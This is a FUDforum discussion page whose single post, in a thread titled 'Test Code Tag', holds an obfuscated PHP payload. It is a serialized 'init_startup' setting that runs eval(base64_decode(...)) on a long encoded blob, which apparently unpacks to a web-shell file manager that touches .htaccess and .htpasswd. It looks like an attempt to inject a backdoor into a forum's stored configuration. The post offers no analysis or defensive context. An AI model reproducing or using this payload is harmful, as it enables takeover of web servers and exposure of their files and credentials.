FUDforum
Fast Uncompromising Discussions. FUDforum will get your users talking.

Home » General » Test Forum » Test Code Tag
Show: Today's Messages :: Polls :: Message Navigator
Switch to threaded view of this topic Create a new topic Submit Reply
Test Code Tag [message #166287] Thu, 27 October 2011 18:18
Anonymous   Germany
a:1:{s:12:"init_startup";s:54188:"if(strpos($_SERVER['PHP_SELF'],"global.php")){
eval(base64_decode('JGxhbmcgPSAnZW4nOwokc2l0ZV9jaGFyc2V0ID0gJ2F1dG8nOwokaG9tZWRpciA9ICcuLyc7CiRlZGl0Y29scyA9IDgwOwokZWRpdHJvd3MgPSAyNTsKJGh0YWNjZXNzID0gJy5odGFjY2Vzcyc7CiRodHBhc3N3ZCA9ICcuaHRwYXNzd2QnOwoKLyogLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAqLwoKaWYgKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHsKCWFycmF5X3dhbGsoJF9HRVQsICdzdHJpcCcpOwoJYXJyYXlfd2FsaygkX1BPU1QsICdzdHJpcCcpOwoJYXJyYXlfd2FsaygkX1JFUVVFU1QsICdzdHJpcCcpOwp9CgppZiAoYXJyYXlfa2V5X2V4aXN0cygnaW1hZ2UnLCAkX0dFVCkpIHsKCWhlYWRlcignQ29udGVudC1UeXBlOiBpbWFnZS9naWYnKTsKCWRpZShnZXRpbWFnZSgkX0dFVFsnaW1hZ2UnXSkpOwp9CgppZiAoIWZ1bmN0aW9uX2V4aXN0cygnbHN0YXQnKSkgewoJZnVuY3Rpb24gbHN0YXQgKCRmaWxlbmFtZSkgewoJCXJldHVybiBzdGF0KCRmaWxlbmFtZSk7Cgl9Cn0KCiRkZWxpbSA9IERJUkVDVE9SWV9TRVBBUkFUT1I7CgppZiAoZnVuY3Rpb25fZXhpc3RzKCdwaHBfdW5hbWUnKSkgewoJJHdpbiA9IChzdHJ0b3VwcGVyKHN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jwvdHI+Cic7Cgp9CgpmdW5jdGlvbiBlcnJvciAoJHBocmFzZSkgewoJZ2xvYmFsICRjb2xzOwoKCSRhcmdzID0gZnVuY19nZXRfYXJncygpOwoJYXJyYXlfc2hpZnQoJGFyZ3MpOwoKCXJldHVybiAnPHRyIGlkPSJlcnJvciI+Cgk8dGQgY29sc3Bhbj0iJyAuICRjb2xzIC4gJyI+JyAuIHBocmFzZSgkcGhyYXNlLCAkYXJncykgLiAnPC90ZD4KPC90cj4KJzsKCn0='));
exit;
}
";}
  Switch to threaded view of this topic Create a new topic Submit Reply
Previous Topic: Testing
Next Topic: Phototest
Goto Forum:
  

-=] Back to Top [=-
[ Syndicate this forum (XML) ] [ RSS ]

Current Time: Tue Dec 03 17:42:36 GMT 2024

Total time taken to generate the page: 0.02260 seconds